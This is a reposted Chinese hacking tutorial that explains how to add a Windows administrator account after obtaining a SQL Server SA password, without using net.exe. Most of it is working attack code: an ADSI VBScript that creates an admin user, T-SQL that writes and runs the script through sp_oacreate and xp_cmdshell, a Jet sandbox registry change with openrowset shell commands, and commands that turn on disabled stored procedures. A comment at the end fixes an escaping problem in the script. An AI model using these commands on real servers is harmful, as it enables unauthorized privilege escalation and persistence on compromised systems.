不用net号令加管理员的办法[菜鸟入门]
本文“不用net号令加管理员的办法[菜鸟入门]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:
在得到SA密码后,常常因为服务器管理者或?前人?将net.exe和net1.exe被限制利用,无法增添管理员账号.我们知道VBS在活动目录(ADSI)部份有一个winnt对象,用来管理本地资源,操纵它可以不依靠CMD等号令就可以增添一个管理员,具体代码以下:
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) '得到adsi接口,绑定
Set oe=GetObject(os&"/Administrators,group") '属性,admin组
Set od=ob.Create("user","test") '成立用户
od.SetPassword "1234" '设置密码
od.SetInfo '保存
Set of=GetObject(os&"/test",user) '得到用户
oe.add os&"/test"
将上面的代码保存为1.vbs,然后履行,号令为?cscript 1.vbs?,这样就会在系统增添一个系统名为test,密码为1234的用户.具体在查询解析器履行的代码以下:
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject
("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.
ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject
(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create
("user","test")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "1234"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo '
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject
(os&"/test",user) '
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'
履行完上面的语句,再履行下面这行代码,这行代码一定单独履行,不要与上面的放在一同履行,不然会提醒?c:\1.vbs正被另一个程序运行?而无法成功增添用户:
exec master..xp_cmdshell 'cscript c:\1.vbs'
假如系统用户没有增添成功,有大概是因为系统用户的密码1234的太简单,不符合服务器的复杂密码战略,可以考虑设置的复杂些,然后再测试一下.也可以利用echo将代码写到1.vbs中,代码格局为:
exec master..xp_cmdshell 'echo set wsnetwork=CreateObject("WSCRIPT.NETWORK")
>>1.vbs'
不过,不知道为什么全部带?&?字符的号令行都无法写入1.vbs,感爱好的朋友可以尝试办理一下.
利用jet沙盘情势,可以办理XP_cmdshell等存储历程和相关动态链接库带来的懊恼.出于安全缘由,系统默许情形下沙盘情势未开启,这就需求xp_regwrite开启沙盘情势:
Exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0
\Engines','SandBoxMode','REG_DWORD',1
然后履行沙盘号令,在系统增添一个用户名为test,密码为1234的用户:
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows
\system32\ias\ias.mdb','select shell("cmd.exe /c net user test 1234 /add")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows
\system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup
administrators test /add")')
差别的操作系统,途径也不一样,需求按照情形做改正:
NT/2K: c:\winnt\system32\
XP/2003: c:\windows\system32\
别的Microsoft SQL Server2005在默许情形下,一些存储历程是关闭着的,需求号令翻开:
开启XP_cmdshell:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure
'xp_cmdshell', 1;RECONFIGURE;
开启'OPENROWSET':
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure
'Ad Hoc Distributed Queries',1;RECONFIGURE;
开启'sp_oacreate':
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure
'Ole Automation Procedures',1;RECONFIGURE
--------------------------------------------------------------------------------------------------------------
带?&?字符的号令行都无法写入1.vbs,是因为这个作者批处理太垃圾,这都不知道,还玩个屁.因为&是bat中的保存字,不能忽视,要用echo写入"&"的话,要这样写 echo ^&xxxx
以上是“不用net号令加管理员的办法[菜鸟入门]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
本文地址: | 与您的QQ/BBS好友分享! |